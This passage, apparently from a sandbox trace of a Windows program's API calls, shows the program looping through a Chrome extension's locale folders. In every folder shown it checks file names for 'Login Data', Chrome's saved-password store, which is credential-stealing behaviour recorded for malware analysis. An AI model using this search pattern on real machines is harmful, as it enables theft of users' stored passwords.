Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*.*" [0079.330] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.330] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.330] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.330] LocalFree (hMem=0x6525c0) returned 0x0 [0079.330] LocalFree (hMem=0x6524b8) returned 0x0 [0079.330] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.330] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.330] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.331] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.331] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.331] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da" [0079.331] LocalFree (hMem=0x6523b0) returned 0x0 [0079.331] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.331] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da" [0079.331] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*.*" [0079.331] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.331] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.331] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.331] LocalFree (hMem=0x6525c0) returned 0x0 [0079.331] LocalFree (hMem=0x6524b8) returned 0x0 [0079.331] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.331] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.331] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.331] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.331] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.331] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de" [0079.331] LocalFree (hMem=0x6523b0) returned 0x0 [0079.331] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.331] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de" [0079.331] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*.*" [0079.331] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.332] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.332] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.332] LocalFree (hMem=0x6525c0) returned 0x0 [0079.332] LocalFree (hMem=0x6524b8) returned 0x0 [0079.332] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.332] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.332] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.332] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.332] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.332] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el" [0079.332] LocalFree (hMem=0x6523b0) returned 0x0 [0079.332] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.332] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el" [0079.332] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*.*" [0079.332] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.332] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.332] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.332] LocalFree (hMem=0x6525c0) returned 0x0 [0079.332] LocalFree (hMem=0x6524b8) returned 0x0 [0079.332] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.332] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.333] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.333] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6524b8 [0079.333] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.333] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="en_GB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB" [0079.333] LocalFree (hMem=0x6523b0) returned 0x0 [0079.333] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x6525c8 [0079.333] lstrcpyA (in: lpString1=0x6525c8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB" [0079.333] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*.*" [0079.333] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.333] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.333] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.333] LocalFree (hMem=0x6525c8) returned 0x0 [0079.333] LocalFree (hMem=0x6524b8) returned 0x0 [0079.333] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.333] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.333] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.333] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6524b8 [0079.333] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.333] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="en_US" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US" [0079.333] LocalFree (hMem=0x6523b0) returned 0x0 [0079.333] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x6525c8 [0079.333] lstrcpyA (in: lpString1=0x6525c8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US" [0079.333] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*.*" [0079.333] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.334] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.334] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.334] LocalFree (hMem=0x6525c8) returned 0x0 [0079.334] LocalFree (hMem=0x6524b8) returned 0x0 [0079.334] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.334] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.334] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.334] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.334] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.334] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es" [0079.334] LocalFree (hMem=0x6523b0) returned 0x0 [0079.334] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.334] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es" [0079.334] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*.*" [0079.334] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.334] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.334] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.334] LocalFree (hMem=0x6525c0) returned 0x0 [0079.334] LocalFree (hMem=0x6524b8) returned 0x0 [0079.334] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.335] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.335] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.335] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6524b8 [0079.335] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User 